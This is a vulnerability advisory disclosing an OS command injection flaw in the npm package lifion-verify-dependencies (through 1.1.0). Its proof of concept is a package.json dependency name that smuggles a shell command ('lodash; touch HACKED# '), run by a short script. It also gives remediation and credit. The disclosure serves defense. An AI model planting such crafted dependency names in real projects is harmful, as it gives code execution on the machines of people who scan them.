Command Injection Vulnerability In Lifion-Verify-Deps

NODE NODEJS JAVASCRIPT NPM RCE TYPESCRIPT PACKAGE.JSON

Adar Zandberg Apr 28, 2021

Details Overview

Summary

lifion-verify-dependencies package verifies that installed NPM modules are the latest currently available version. Affected versions of this package are vulnerable to OS command injection via a crafted dependency name on the scanned project's `package.json` file.

Product

lifion-verify-dependencies through 1.1.0.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with a project with untrusted `package.json` file.

Steps To Reproduce

Create an NPM project with a package.json file inside and add an entry to 'dependencies':

```
"dependencies": {
  "lodash; touch HACKED# ": "^4.17.20",
}
```

Then, run the following `poc.js`:

```
const verifyDeps = require('lifion-verify-deps');
verifyDeps({ dir: '/my-project' }).then(() => {}).catch((err) => {})
```

Expected Result:

A file named `HACKED` has been created.

Remediation

Update lifion-verify-dependencies to version 1.2.0 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst Adar Zandberg.

Resources

1. Commit 4e1bf38